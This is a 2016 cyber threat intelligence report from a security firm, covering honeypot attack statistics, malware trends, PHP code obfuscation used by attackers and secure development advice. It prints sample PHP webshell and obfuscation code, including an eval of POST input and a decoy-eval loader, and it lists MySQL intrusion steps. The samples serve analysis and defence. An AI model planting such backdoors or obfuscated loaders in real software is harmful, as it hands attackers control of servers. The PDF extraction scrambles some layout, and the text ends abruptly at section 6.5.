Cyber Threat Intelligence Report

Cyber Threat Intelligence Report

OCTOBER 2016

excellence as standard

excellence as standard2

Table of Contents

1. Introduction 2. Global Statistics 2.1. Overview 2.2. Attacking RDP 2.3. Attacker OS 2.4. Iran 2.5. Iraq 2.6. URL Statistics3. Malware Statistics4. Insights into Honeypots 4.1. Type of Honeypots 4.2. Threat Intelligence from Honeypots 4.3. Conclusion 5. Insights into Code Obfuscation: PHP Code Obfuscation 5.1. Introduction 5.2. PHP Obfuscation Techniques Primitives 5.3. The Basic Gist of Obfuscation Techniques 5.4. Code Execution Functions Observed 5.5. Code Obfuscation Primitives 5.6. Anti-De-obfuscation Techniques 5.7. Infection Methods 5.8. Protecting your Code6. Insights into Vulnerability Research: The State of Software Programming 6.1. Recent Design Fault Vulnerabilities 6.2. Designing with Security in mind 6.3. Common Design Mistakes to Avoid 6.4. Recent Programming Error Vulnerabilities 6.5. Programming with Security in mind 6.6. Conclusion7. Insights into Botnet Tracking 7.1. Sample Collection 7.2. Sample Disarming 7.3. Monitoring 7.4. Why Monitor Botnets?8. Insights into Botnet Analysis: The Metri Botnet 8.1. The Botnet Candidate 8.2. Botnet Overview 8.3. Botnet Connections 8.4. Botnet Command & Control 8.5. Uncovering the Intelligence 8.6. Conclusion

3

1. Introduction

1

Visit nettitude.com Call 0345-52-000-85 (UK) 212-335-2238 (USA)

2016 has so far been the year of ransomware. Not a day goes by without some reference to a company or organization who have found themselves held to mercy by criminals seeking to extort financial gain from their victims. The prevalence and variety of this crime is disturbing. Unfortunately, it will be here to stay for some while longer.

The low cost of running such a criminal enterprise compared to the potential returns, makes this a highly lucrative venture with little risk. Social engineering attacks and insider threats also pose credible risks. Companies are constantly needing to protect themselves against cyber and physical threats actors alike.

This latest issue of the Nettitude Cyber Threat Intelligence Briefing Report explores several interesting themes. We explore the intricacies of a botnet operation, providing insights into how software engineers may improve their products by focusing on key aspects of security.

We examine the ways in which threat actors may attempt to hide their activity and malicious code itself, through obfuscation and deception. The ongoing data captured by Nettitude’s global network of honeypots sheds light on the main protagonists and the services that they are looking to exploit.

This report contains a number of articles from high level overviews of the state of the threat landscape, through to in depth technical viewpoints. The indicator will show the level of technical knowledge required for each article. See the ratings key below for information on each level.

Adam Williams Graham Sharples

Report Authors:

Graham Shaw Jules Pagna Disso

Kyriakos Economou Phillip Buck

Samual Barker Tom Wilson

TL

TL1 No technical knowledge needed. Safe to read by anyone.

TL2 Some minor technical language may be encountered.

TL3 Expect to encounter some technical language but nothing that should be too obscure.

TL4 A more focused article using concepts and language related to the area under discussion.

TL5 A highly technical article so expect to encounter terms and concepts known by specialists in this area.


2.1 OverviewRemote Desktop Protocol (RDP) was developed by Microsoft to allow users to connect to a remote system over a network connection. The end user will deploy RDP client software whilst the remote server will run RDP server software. The client software exists for Windows, Linux, Unix, OS X, iOS and Android as well as several other operating systems. RDP services are built into Windows and are also available for Unix and OS.

The protocol has recently been exploited by the Apocalypse ransomware group. They brute forced weak RDP server passwords, gaining access to a victim’s infrastructure and encrypting files whilst gaining first-hand knowledge of network configurations1. The data below shows that RDP is still a popular protocol to explore, with attacks originating from three separate continents.

2.2 Attacking RDP The United States accounts for the vast majority of attacks against the RDP protocol (tcp/3389), as seen in Figure 1. The protocol is commonly used by system administrators to remotely access a users’ system to assist with troubleshooting2. As previously mentioned, poorly configured RDP servers can offer a staging post for attacks against a system. With millions of endpoints utilizing this protocol, it is not unusual to see attacks against it.

2.3 Attacker OSNearly 75% of attacks against RDP originated from Windows terminals, specifically Windows 7 or 8, as seen in Figure 2. This is consistent with the popularity of the RDP protocol, its compatibility with Windows OS and the likelihood that a victim has it supported on a Windows server.

United StatesChinaNetherlandsIndiaRussian FederationTurkey

VietnamUkraineKorea, Republic of

64.30%

7.72%

7.04%

3.98%

3.77%

3.47%3.20%

2.71%1.96% 1.74%

United Kingdom

Countries Targetting Port 3389 (Remote Desktop)

3.

3,046

639

346

112

7335

161222

Windows 7 or 8UnknownWindows XPLinux 2.2.x-3.x(barebone)Linux 2.0Linux 3.1-3.10

Linux 3.11 and newerWindows NT kernelLinux 2.2.x-3.x

Windows NT kernel 5.x

Attackers Operating System

Figure 1: List of countries attacking the RDP Figure 2: OS used to attack RDP 1 http://blog.emsisoft.com/2016/09/02/fabiansomware-when-hackers-lose-it/ 2 http://searchsecurity.techtarget.com/tip/Remote-Desktop-Protocol-security-How-to-secure-RDP-network-endpoints

22. Global Statistics Knowing the methods, sophistication and modus operandi of threat actors, and how this changes over time is fascinating. The Nettitude Global Honeypot network has been upgraded recently to capture more in-depth information and more interactions from attackers. This section gives you an overview of the trends and highlights from recently captured data.

TL1

5

2.4 Iran

Most attackers mainly use windows 7 or 8. Unlike attacks observed from the United States and Iraq, Iranian attackers focused their efforts against port 22 which provides the Secure Shell (SSH), Secure File Transfer Protocol (SFTP) and port forwarding, as seen in Figure 3. Iran, as a nation state, has significantly improved its cyber capability since the Stuxnet and Flame attacks in 2010 and 2012. Since the election of Hassan Rouhani to President in 2013, funding for cyber security has risen by 1,200% (between 2013-2016)3.

Iran has sought to harden its defenses and learn from the Advanced Persistent Threats (APT) campaigns that were directed at Iran. The Internet itself is less censored which has paved the way for an increase in malicious activity originating from, or routed through, Iran. As is seen in China, Internet Service Providers are leveraged by attackers to conduct attacks, be it automated or manually crafted campaigns. These allow for a certain level of anonymity.

0

5

10

15

20

25

30

35

40

Iran, Islamic Republic of

Port Number & Service

3,389

2.5 Iraq

Iraq has recently seen victims targeted by a group known as Operation Ghoul, a credential harvesting group that exploits victims using spear phishing emails4. Interestingly, the attacks originating from Iraq, and captured by the honeypot, target port 3,306 which typically hosts the MySQL database system, which can be seen in Figure 4. Databases are often a rich repository of information, with organizations often using it to store confidential material. For example, a poorly configured SQL database would afford attackers the ability to credential harvest and sell that information for monetary gain.

0

10

20

30

40

50

60

70

Iraq

Port Number & Service

Figure 3: Services attacked by Iran

Figure 4: Services attacked form Iraq

3 https://smallmedia.org.uk/sites/default/files/u8/IIIP_Feb15.pdf 4 https://www.portal-digitalshadows.com/client/intelligence/incident/10845610?tag=703&tag=661



2.6 URL Statistics

One of the more interesting areas to investigate is Uniform Resource Locator (URL) information, specifically focused on the origins of malware. URLs themselves are the global addresses of documents and other resources on the web. They are also used as staging posts for launching malware. Nettitude, through its global network of honeypots, has captured vast swatches of information that has helped us understand malware trends and identify the domains through which they are being hosted. Figure 5 lists the top ten worst ISPs for hosting malicious URL’s. Between them they account for 79% of the total number of maliciously hosted URLs. It is difficult to ascertain the source of these campaigns, be that the actual threat actor or a compromised computer used as a bot, however it does show that ISPs are an ideal medium through which to launch malicious activity. Nettitude has drawn on historical data and observed the creation of just over 139,000 malicious domains, as seen in Figure 6. Of those, just over 77,000 have been created since 2014, accounting for 55% of the total number observed. In 2015 alone, over 53,000 were created, a record number since data records began. This is a staggering statistic and one that is going to increase by the end of 2016.

0.00

%5.

00%

10.0

0%15

.00%

20.0

0%

Top

10 U

RL R

egis

trar

’s

PUBL

IC IN

TER

EST

REG

ISTR

Y

CHIN

A N

IC

ENO

M, I

NC.

TUCO

WS

DO

MAI

NS

INC.

HIC

HIN

A ZH

ICH

ENG

TEC

HN

OLO

GY

LTD.

GAN

DI S

AS

CSC

COR

POR

ATE

DO

MAI

NS,

INC.

RU

-CEN

TER

-REG

-RIP

N

GO

DAD

DY.C

OM

, LLC

ENAM

E TE

CHN

OLO

GY

CO.,

LTD.

Perc

enta

ge

Figure 5: Top 10 ISPs hosting malicious URLs

1975 1980 1985 1990 1995 2000 2005 2010 20150

10,000

20,000

30,000

40,000

50,000

Domain Creation Year

Figure 6: A depiction of yearly domain creation

7

Worst Spam Support ISPs - All of which are based in China (Number of current known spam issues)5

1. drpeng.com.cn (405) 2. chinanet-gd (257) 3. unicom-jx (196)

Worst Botnet Countries (Number of bots)6

1. India (2,188,751) 2. Vietnam (946,723) 3. China (802,120)

Worst Spam Countries (Number of current live spam issues)7

1. USA (3,186) 2. China (2,538) 3. Russia (1,032)

6 https://www.spamhaus.org/statistics/botnet-cc/

7 https://www.spamhaus.org/statistics/countries/

8 https://securelist.com/statistics/

9 https://www.portal-digitalshadows.com/client/

intelligence/2448/bio

10 https://securelist.com/files/2016/07/The-

ProjectSauron- APT_research_KL.pdf

3


Top web threats (Last 30 days – as at 12 September 2016)

China8 1. Trojan-Downloader.Script.Generic (36.2%) 2. Trojan.Script.Generic (17.6%) 3. Trojan-Clicker.HTML.Iframe.dg (7.9%)

GozNym Banking Trojan (Affected countries – as at August 2016)9

1. Germany 2. Poland 3. USA

ProjectSauron (Espionage campaign – affected countries) 10

1. Russia 2. Iran 3. Rwanda

Top Vulnerabilities (Last 30 days – as at 12 September 2016)

Finland 8 1. Exploit.Script.Blocker (22.2%) 2. Exploit.AndroidOS.Lotoor.be (16.6%) 3. Exploit.AndroidOS.Lotoor.pac (11.1%)

Top Network Attacks (Last 30 days – as at 12 September 2016)

Ethiopia 8 1. Intrusion.Win.NETAPI.buffer-overflow. exploit (50.9%) 2. Scan.Generic.TCP (25.9%) 3. DoS.Generic.SYNFLood (12.3%)

Figu

re 7

: Ove

rvie

w o

f affe

cted

cou

ntrie

s

3. Malware Statistics TL1

Malware is the staple diet of malicious attacks. The Nettitude Global honeypot network captures a wide variety of malware samples. This data is combined with other malware obtained over the same period. The trends and analysis are shown below.


When it comes to malware, spam and top threats, China will always feature heavily. Nettitude collated reporting around these topics and determined that elements in China are supporting malware campaigns and are the source of some of the most potent and current threats in cyber space. The top three spam supporting ISPs currently reside in China namely drpeng.com.cn, chinanet-gd and unicom-jx.

China also features in the top three in the botnet hosting countries, however this time it sits third behind India and Vietnam.

Both China and Finland account for high web threats with Trojan-Downloader.Script.Generic being the main Chinese threat and Exploit.Script.Blocker featuring first in Finland.

One other threat that has caught our eye is the GozNym banking Trojan that has been active since April 2016. It initially targeted banking customers in the United States and several other countries and has since been observed in Poland and now Germany. An amalgamation of the Nymaim and Gozi IFSB Trojans, this particular variant targets customers outside of Russian speaking countries.

One other threat of note is ProjectSauron, a highly covert espionage Advanced Persistent Threat (APT) that, according to several researchers, has been in the wild for over a decade. It has targeted numerous countries, of which Iran, Rwanda and Russia are highlighted in Figure 5. The main organizations that are attacked are government, scientific research centers, military, telecommunications and finance.

4

9

D: Attacking your digital phone systems

A sweet little pot of honey is generally not short of fans. The same goes for honeypots, computer systems designed to look vulnerable and appear as a weak target to malicious users. Honeypots can be very useful in providing valuable Indicators of Compromise (IoC) whilst keeping the malicious actor away from the real target systems. It is always a hacker’s dream to find an unpatched or vulnerable system that can quickly and easily be exploited. Honeypots come with different flavors and they are generally categorized by the level of interaction an attacker can have with such systems.

There are two main types of Honeypots:

Low interaction honeypots simulate services that appear vulnerable to the attackers. These systems cannot be exploited, unless an unknown vulnerability exists, and therefore do not allow attackers access beyond the confined boundaries imposed by the decoy system. While limited in terms of functionality, these honeypots can be used to learn about network probes, how worms spread over a local network or Internet and activities about spammers. One of the well-known low interaction honeypots is honeyd11.

High interaction honeypots are computer systems that can be fully compromised and controlled by attackers. Whilst this is intentional, it is nevertheless challenging to manage. High interaction honeypots can be designed to monitor “high profile” attackers for weeks, months and even years. However, there is always a risk that a high interaction system is compromised and used to launch other attacks. As an alternative, most security professionals tend to work with mid-interaction honeypots such as Kippo, Cowrie and Dionaea12.

Honeypots can be deployed in production environments. In such cases, the honeypots are configured to look and behave like any other systems in which they are deployed. These types of honeypot are generally referred to as HoneyTraps. HoneyTraps can be either low or high interaction. One of the advantages of having a HoneyTrap in a corporate environment is that any attempt to interact with it can be considered malicious since they are not there for operational use.

The ultimate goal of deploying honeypots is to gather information that can then be used to protect the real environment. At the same time, honeypots are used to deceive attackers and distract them from the main objective for as long as possible. Most recently, honeypots have been used to provide “threat intelligence”.

What intelligence can we gather from HoneyTraps? In the next section, we will look at low and mid-interaction honeypots as tools use to gather information toward threat intelligence.

4.1 Type of Honeypots

11 http://www.citi.umich.edu/u/provos/cybersecurity/12 https://www.enisa.europa.eu/publications/proactive-detection-of-security-incidents-II-honeypots


4. Insights into Honeypots TL2

So what is a Honeypot? How do they operate and how can they be used to detect threat actors? We examine how the global Nettitude public honeypot network has been built and how it is being used to detect attacks.

Attacks Gains

Attacker Honeypot Session

Lured By Faked: > Services> Authentication > Vulnerabilities > Documents

> Databases> Company > Hardware

Monitors: > Botnet Activity> Malware> Poor IP list

> Worm> Passwords

Collects: > Malware Script> Improved bad IP list> Botnet Connectors> Malicious commands> Attackers tools

> Source code> C&C Server

Password ListsAttribution

Motivators

MalwareIoCs

Login attempts

Attacker IP’s

root@honeypot~: ./do_evil

evil (c) attacker, 2016.

Stealing stuff... OK

Destroying data... OK

root@honeypot~:


4.2 Threat Intelligence from Honeypots

Honeypots, like most online systems are attractive to various people and/or groups. Interested groups we observe are research organizations such as the University of Michigan, botnets looking for the vulnerable systems, various automated tools, script kiddies, search engine bots and many more. Each of these categories of visitors have their own objectives.

Most honeypots will provide some sort of authentication to the system before the attacker can interact with it. Other types of honeypot expose vulnerabilities that allow remote code execution. The graphic in Figure 8 summarizes the sort of information gathered from honeypots. On multiple occasions, Nettitude has gathered botnet connectors

Figure 8: Raw honeypot data

that were downloaded into the honeypots. In our labs, we neutralize the botnet connector before it is executed in a controlled environment. Nettitude is now monitoring several important botnets.

Malware samples are another great example of data that can be gathered from honeypots. However, the malware needs to be further analyzed. Using a centralized database, malware similarities can be identified. The information gathered from malware samples can be used to categorize threat actors. Indicators of compromise can be created based on the traffic resulting from dynamic malware analysis.

Attackers’ Tactics Techniques and Procedures (TTPs) can be discovered through honeypot data analysis. In order to discover a Command and Control (C2) server, the data gathered by the honeypots should be further processed to extract its real value. As the result of this data, the following actions can be considered as the first direct benefit:

> Creation of IDS/IP and firewall rules

> Creation of Yara rules

> Sandbox analysis of malicious code and files collected

> Botnet tracking

> Creation of IoC

> Creation and improvement of attack trees

> Generate a lot of research ideas

> Create IP feeds

> Use the sequence of command to assess the incidence readiness of the IR capabilities

> Check OS under which MySQL is running

> Change permission level in MySQL – attempt to grant more right to non admin users

> Attempt to create a user name

> Attempt to relax the preceding conditions on function creation

> Create ability to add functions through the User-Defined Function (UDF) interface. This is a technique used in the well-known SQL attack utility called sqlmap (https://github.com/sqlmapproject/sqlmap0)

> Set the system to send large packet (allow the attacker to steal as much data as quickly as possible)

For example, a set of actions recorded from an attack originating from China that sought to compromise MySQL server, had the following IOC’s:

4.3 Conclusion

Honeypot data can be of great value if utilized correctly. Honeypot data should be considered a piece in a much larger puzzle. No matter how sophisticated attackers are, they do not have unlimited resources. They will inevitably reuse part, or all, of their infrastructure in more than one attack. From a single successful session in a honeypot, a full botnet eco systems and its controlling infrastructure can be tracked, analysed and taken down. The quality of data captured in honeypots depends greatly on the ability of the honeypot to deceive the attacker.

11Visit nettitude.com

Call 0345-52-000-85 (UK) 212-335-2238 (USA)


5.1 Introduction

In recent months we observed a surge of web attacks, especially around the delivery of ransomware, through poorly secured web applications. PHP has become a language of choice for attackers because of its widespread use amongst web developers. We decided to investigate the obfuscations we have observed in PHP code used by malicious threat actors during the first quarter of 2016.

PHP is a scripting language commonly used to power many of the websites found on the internet. It allows web content to be dynamically generated rather than serving static pages. Whilst there are some third party solutions for compiling PHP to native binaries, in the vast majority of cases, as a scripting language PHP is usually distributed as raw source code.

Often, as part of compromising a site, an attacker will attempt to place their own PHP files on the compromised server. These files commonly serve one of two purposes. Either they are placed to fulfil the attackers end goal, or they act as a stepping stone to achieving the attacker’s objectives.

Where PHP is the end goal the attacker might upload a PHP file that aims to display a popup or redirects users visiting the compromised site to a destination of their choosing. This might be an advertising campaign where the attacker is able to make money by providing advert impressions, or, if embarrassment of the target is the desired outcome, the file could deface the website.

It is also common that PHP code is uploaded in compromised websites and used as part of spear phishing attack to harvest the victim’s sensitive information. Alternatively, the file might act as an intermediary stage to an attack, giving the attacker greater control over the server or site content, by granting some form of remote access backdoor.

In either scenario, the easily readable nature of PHP’s source code could make the files presence more obvious by allowing for easier automated or programmatic detection, and simplifies the job of incident response. As a contingency, malicious attackers chose to obfuscate their PHP code.

5

5. Insights into Code Obfuscation PHP Code Obfuscation TL5

Malicious users are always looking for ways to hide their activities. Obfuscation is a well-used method to disguise the intent of code. This in-depth technical article looks at the methods and techniques used by threat actors to do this.

13

5.2 PHP Obfuscation Techniques Primitives

When reviewing malicious PHP often most, if not all, of the significant code is obfuscated. Obfuscation is defined by the Oxford English Dictionary as “Make obscure, unclear, or unintelligible”13 . In coding terms, this refers to the act of making the code difficult or impossible to understand at a glance.

Obfuscation techniques come in many flavors, including both “home grown” and tried-and-tested solutions. However, each solution is often the custom assembly of one or more well-known primitives. This section will discuss some of those primitives. It is interesting to note that obfuscation can be seen as a double edged sword, whilst it does provide some protection in terms of hiding the true purpose of the code, it can also make the presence of malicious code significantly more obvious.

malicious.php1

$obfuscated_php

4Deco de $obfuscated_php to $php

3

2

Send $php to PHP scripting engine

$php 5

PHP Scripting Engine

5.3 The Basic Gist of Obfuscation Techniques

As previously mentioned, PHP is a scripting language distributed in raw source form. PHP code is interpreted by the PHP scripting engine, which typically takes the code in the form of a file i.e. a page on a website. However, the PHP engine can interpret code from many other sources. Of most interest are methods in the core language that allow an attacker to interpret code stored inside a variable within a PHP program itself.

As such, an attacker will typically place PHP code inside a variable, and pass it to one of these functions. The bulk of the obfuscation effort is placed in protecting the variable that holds the code to be executed, thus making it as hard as possible to interpret.

Figure 9 details the anatomy of a typical malicious sample:

Figure 9: Anatomy of a malicious.php sample

1. A user or the attacker requests a page uploaded to the server by the attacker (malicious.php)

2. The resource is recognized as a PHP file and passed to the scripting engine for processing

3. PHP code within malicious.php is read and executed

4. The code decodes hidden/obfuscated PHP code in a variable ($obfuscated_php)

5. The decoded PHP is passed back to the scripting engine and executed

13 http://www.oxforddictionaries.com/definition/english/obfuscate (21-03-2016)



5.4 Code Execution Functions Observed

The following is a list of code execution methods that were observed. All these functions will, given PHP code in a string variable, execute the PHP code contained within.

5.4.1 eval

This is by far the most common method of executing PHP code contained in a string. It is also the most obvious, and in general, is either a red flag for malicious behavior or a security vulnerability.

<?php $php = ‘phpinfo();’; eval($php);?>

eval() code snippet

5.4.2 preg_replace()

“Regular expression matching” is a common feature used to make assertions about the format of text, i.e. ensuring that a given strings matches a set of rules. The preg_replace function extends this by allowing you to use regular expression syntax to replace parts of a string. A shorthand exists in the pattern language to instruct PHP to evaluate/execute any match. This is often overlooked and in legitimate uses can be the root cause of a vulnerability if user supplied content can taint the pattern variable. By default, this does not work in recent releases of PHP as the “/e” modifier has been deprecated since version 5.5.0 and removed entirely in 7.0.0 to help prevent this issue. Instead developers are encouraged to use the preg_replace_callback() function which is less prone to this sort of injection. In reality however many pre-5.5.0 installs still exist.

<?php $php = “phpinfo();”; preg_replace(“/.*/e”, $php, “”);?>

preg_replace() code snippet

Prior to lambdas having support in the core language syntax the create_function() method was used for creating simple anonymous methods. However it can also be leveraged by an attacker as a less common version of eval(). Whilst this is not typically observed in malware samples recently analyzed, it was found in some cases and has the added advantage of making the function call a string which can be more easily obfuscated.

<?php $php = “phpinfo();”; $function = create_function(‘’, $php); $function();?>

create_function() code snippet

5.4.4 require() / require_once() / include() / include_once()

In normal usage, this family of functions is commonly used to bring in external resources. It can be found in abundance in almost all production PHP code. Maliciously obfuscated commands can be written to a file, which is then included. A more obscure example, and much less used as this relies on a server misconfiguration to be successful would be use of data URLs. By default, this will not work as the allow_url_include configuration is set to zero. Both examples are shown below:

<?php $php = “phpinfo();”; $temporary_files = sys_get_temp_dir(); $code_file_name = tempnam($temporary_files, “tmp”); $code_file = fopen($code_file_name, “w”); fwrite($code_file, “<?php ${php} ?>”); fclose($code_file); include($code_file_name); unlink($code_file_name);?>

include() by local file code snippet

<?php $php = “phpinfo();”; $base64 = base64_encode(“<?php ${php} ?>”); include(“data:text/plain;base64,${base64}”);?>

include() by URL code snippet

5.4.3 create_function()

Most functions within a PHP application are addressed by name. Sometimes, however, it is useful to be able to create a short, simple function without a name which can be stored in a variable, or used in a localized context. Methods defined like this are referred to as lambda statements.

15

5.5 Code Obfuscation Primitives

The following is a non-definitive list of some of the obfuscation primitives that we have seen in recent malware samples, one or more of these primitives are used in each method.

5.5.1 Base64 Encoding

Almost a third of all samples relied on base64 encoding to obscure what was being executed. Whilst simple to reverse this makes it practically impossible for a human to read, or search for explicit keywords. Base64 encoding is regularly used to transport binary data in text format; it has a wide array of genuine use cases in PHP and web traffic, therefore on its own it cannot be used as an indicator for malware – see PHP manual; base64_decode.

5.5.2 Compression

Another frequent, simple and effective obfuscation method, often the base64 encoded sections of malware were compressed PHP code – see PHP manual; gzinflate. Whilst a simple action to reverse, this entirely prevents any portion of the code from exhibiting any patterns that might be more obvious if the code was not just encoded (just as repeating strings). It also has an additional advantage of shrinking the attacker’s code although this is of minimal benefit.

5.5.3 ROT13

PHP actually has core language support for a ROT13 substitution cipher – see PHP manual; str_rot13. A ROT13 substitution cipher involves moving each character along the alphabet 13 places, wrapping back to the start when 13 characters exceeds the length of the character set. This is often used to obfuscate strings within malware. It has very minimal use cases within most serious software and can potentially be used as a hint that a sample does not have honorable intentions.

5.5.4 Bad Formatting and Spacing

Malicious code is often poorly spaced in order to make reading more difficult and the code more compact; additionally, use of copious amounts of white space are often used to try and “hide” the code for a file as seen in Figure 8– consider the following, which would be more convincing had the file contained some “legitimate” code:

Figure 10: The use of white spaces to obfuscate code

This is trivial to work around, and there are many tools available for laying out source code, but can fool people at a glance.

5.5.5 Bad Variable and Function Naming

Almost all malware samples use short, nonsensical and/or deliberately misleading naming on functions and variables. This makes understanding the logic considerably harder. Using automated tooling it is often advisable to rename variables to track their purpose, however even this can be problematic as malicious code will often repurpose variables, ensuring a single one does not have a clearly defined purpose.



5.5.6 Custom Letter Substitutions

Many samples exhibit their own custom letter substitution or shuffling algorithms, which given a letter and any other arguments the attacker can concoct, create an obfuscated string. For example, consider the following which “cherry-picks” letters from a short string to achieve its goal. Note that spacing is not as found in the original sample which was actually composed on a single line, with minimal spacing except a long line at the start of the file:

<?php

$dzcc47 = “_retspou”; $tktw9 = $dzcc47[4] . $dzcc47[3] . $dzcc47[1] . $dzcc47[3] . $dzcc47[6] . $dzcc47[7] . $dzcc47[5] . $dzcc47[5] . $dzcc47[2] . $dzcc47[1] ; $jrsf72 = $dzcc47[0] . $dzcc47[5] . $dzcc47[6] . $dzcc47[4] . $dzcc47[3] ;

$argb4 = $tktw9($jrsf72);

if ( isset( ${ $argb4 }[ ‘qdfbe75’] ) ) { eval ( ${$argb4}[‘qdfbe75’ ] ); }

?>

Simple malicious code sample

The purpose of this code is significantly clearer once the letters are replaced; and the original strings put in place of the variables – whilst a very simple obfuscation method makes reading the sample significantly more complex:

<?php

$dzcc47 = “_retspou”; $tktw9 = “strtoupper”; $jrsf72 = “_post”;

$argb4 = strtoupper(‘_post’);

if ( isset( $_POST[ ‘qdfbe75’] ) ) { eval ( $_POST[‘qdfbe75’ ] ); }

?>

Simple malicious code sample decoded

5.5.7 Using Strings as Methods and Variables

One of PHP’s more useful features, from an attacker’s perspective, is the ability to use a string as a method call – this is especially true when considering the string is highly likely to be originally obfuscated – here is a simple example:

<?php $func_name = “create_function”; $function = $func_name(“”, “phpinfo();”); $function();?>

Using a string “create_function” as a function

17

The same method can be used to reference variables (as seen in a previous example), by prefixing the variable with a dollar, and wrapping it in curled braces:

<?php $php = “phpinfo();”; $var_name = “php”; eval(${$var_name});?>



5.5.8 Layers, On Layers, On Layers…

So far we have talked about de-obfuscating the code as a single step; obfuscated code to plain PHP. In truth it is not uncommon for the process of de-obfuscating code, to yield more obfuscated code. Typically, there are only one or two levels of obfuscation, however in recent samples, up to ten layers have been seen.

This is not surprising as the process of obfuscating code is cheap and quick with the right tooling, as opposed to reversing the layers which can take significantly more time. Whilst time consuming this will not prevent a sample from being reverse engineered.

5.6 Anti-De-obfuscation Techniques

At its most simple, after careful evaluation of the source, it is often the case that stripping a layer of obfuscation is as simple as replacing the execution construct – eval, create_function, etc –, with an output one i.e. echo or print for example. This of course assumes the execution construct itself is not obfuscated.

However, it is not always that simple; the following sections give some idea of a few techniques used to prevent reverse engineering.



<?php

$file_content = file_get_contents(__FILE__);

if(preg_match(‘/(print|sprint|echo)/’, $file_content) == 1) { // reports basic server information (home brew phpinfo). } else { // creates backdoor code } ?>

Example (non-functional, see above) of hiding behavior of a reversed sample

5.6.2 Hidden Execution

In this method an obvious or decoy “eval” expression is inserted for the reverser to replace, but code is actually executed before using an obfuscated call point. Without proper checking, it could be easy to miss. The following is a very simple, fabricated example which will display a phpinfo() page. Tamping with the eval() call at the end of this script would have no effect on its overall operation.

<?php $j=base64_decode(“YmFzZTY0X2R-lY29kZQ==”);$i=$j(“Y3JlYXRlX2Z1bmN0aW9u”);$I= $j(“Z2xvYmFsICRsLCRqO2V2YWwoZ3pp bmZsYXRlKCRqKCRsKSkpOw==”);$l=’K8goyMxLy 9fQtAYA’;@$L=$i($J,$I);$J=$L($l);eval($J);?>

Obfuscated call point with decoy eval()

5.6.3 Inter-dependent Layers

As discussed in the techniques section, code can be wrapped in several layers of obfuscation. Typically, each layer is stand-alone, that is, the content passed to execution construct is a PHP program in its own right. This makes reversing easier as the result of each call can be analyzed as its own program. This is shown below in Figure 11:

Malicious File

Obfuscation Layer #1




Extracts

Extracts

Extracts

Extracts

Figure 11: Multiple layers of obfuscation

5.6.1 Output Detection

Some samples will alter their behavior if they believe they are being reverse engineered. The following example was extracted from a sample analyzed by Nettitude, but has been reduced to only show the relevant parts and de-obfuscated to make reading easier. It is important to note that in the presented form this code will not work as the searched for keywords “print”, “sprint” and “echo” all appear in clear text in the file. In the actual sample these phrases were protected with various methods described in the primitives’ section so would not be found.

19

This however can become increasingly complex if each layer is not stand-alone and makes use of objects extracted in previous obfuscation layers as all other layers and their state must be preserved and re-analyzed with the new code. This is particularly problematic when dealing with large numbers of layers or where they split, as seen in Figure 12.

Figu

re 1

2: S

plit

laye

r obf

usca

tion

5.7 Infection Methods

Many of the infection vectors could not be directly determined, however those that could, commonly came from attacks against well-known PHP applications such as WordPress and phpBB. It should be noted that whilst historically many of the applications have been known to have security vulnerabilities, typically the core products are now very robust, and most vulnerabilities are actually introduced via third party plugins which are either poorly developed, or not properly maintained.

5.8 Protecting your Code

The wide install base of these applications and the general availability of public vulnerabilities for their plugins make these appealing targets to attackers. Using public proof-of-concepts it is relatively trivial for an attacker with very limited technical capabilities to fully automate discovery and exploitation of vulnerable hosts.

If you have any doubts about the security of a site, consider getting it tested.

> Only install plugins you know are of good quality and have a good security history;

> Be sure to evaluate both the number and severity of past vulnerabilities as well as the vendor’s response to previous issues;

> Make sure plugins are included in your software patching strategy, ensuring they are regularly updated in line with all other software. Many site owners might not even be aware of the plugins they have installed leading to wealth of opportunities for even an unskilled attacker.

Malicious File

Obfuscation Layer #1b

Obfuscation Layer #1a

Obfuscation Layer #2aa

Obfuscation Layer #2ab

Obfuscation Layer #2ba

Obfuscation Layer #2bb



6.1 Recent Design Fault Vulnerabilities

The Nettitude research team recently found the following vulnerabilities: CWE-434, CWE-768, and CWE-427 within QNAP’s Signage Station and iArtist. A privilege escalation vulnerability CVE-2015-7600, caused by weak file access control permissions, was found in the ‘Cisco Systems VPN Client’ application.

Vendor updates have been issued by QNAP. The Cisco Systems VPN Client has now been discontinued, support has recently lapsed and users are advised to migrate to the latest product.

6.2 Designing with Security in mind

Security should be built into every part of the software development process, including the design stage and time should be set aside for this before a single line of code is even written.

There is plenty of material available on the subject. The IEEE Computer Society Centre for Secure Design provides a guide on avoiding the top ten design flaws. The Open Web Application Security Project (OWASP) is another good resource and has a best practice guide available, which can be applied to most software development lifecycles, including non-web applications.

Finally, the Microsoft Secure Development Lifecycle (SDL) is a full development process which has best practices applicable to all phases of software development.

The full guides are available online.

6.3 Common Design Mistakes to Avoid

The Nettitude research team often see the same mistakes in software design. The following are the most common:

6.3.1 Never Assume Trust

A common mistake in client-server applications, is to give the client explicit trust by the server. Never offload security functions or privilege checks to the client application, always verify with the server.

6.3.2 Use Cryptography Correctly

Never roll-your-own cryptography, use a tried and tested method or proven third party library.

6.3.3 Avoid Hard Coded Credentials

Never hard code credentials into a client application. CWE-768 was caused by this design flaw, along with many other previous software vulnerabilities. Hard coded credentials should always be avoided at all costs.

6.3.4 Validate all Data

Remote code execution vulnerabilities in client-server applications are often caused by explicitly trusting all input from the client. Client input to an application should be assumed malicious unless proven otherwise.

6

6. Insights into vulnerability research: The State of Software Programming

TL4

On the other side of the coin to the threat actors are well intentioned developers seeking to write secure code. Unfortunately, from a reverse engineering perspective, many developers write code that is vulnerable and easily exploited. This article looks at the current issues often seen by our security research team, and provides some guidance around how these should be addressed.

Nettitude recently disclosed a number of software vulnerabilities, which have demonstrated that software vendors need to pay more attention to incorporating secure design and secure programming practices into their development lifecycle.

Our research team continues to observe vulnerabilities as a result of poor security awareness. These vulnerabilities could have been mitigated had the programmers given a higher priority to security whilst building applications. Perhaps these vulnerabilities demonstrate the pressure to develop something that simply works, rather than something that works in a secure manner?

The issues we are finding generally fall into two categories:

1. Those which are caused by a design fault and 2. Those which are caused by a programming error.

21

6.3.5 Use the Principle of Least Privilege

A common paradigm in software engineering, known as the principle of least privilege, is to give application modules and client software only those privileges which are required in order to function. This method can help to mitigate privilege escalation vulnerabilities.

6.4 Recent Programming Error Vulnerabilities

A local privilege escalation vulnerability was found in AVAST products which was recently disclosed CVE-2015-8620. This was caused by a programming error resulting in insecure dynamic memory management.

6.5 Programming with Security in mind

Avoiding the production of code which contains vulnerabilities, especially in complex software made up of millions of lines of source code, is not always possible. However, applying good practices during development can make a huge difference, provided the design is sound. The following rules of thumb summarize some of the ways software vulnerabilities can be avoided at the programming stage.
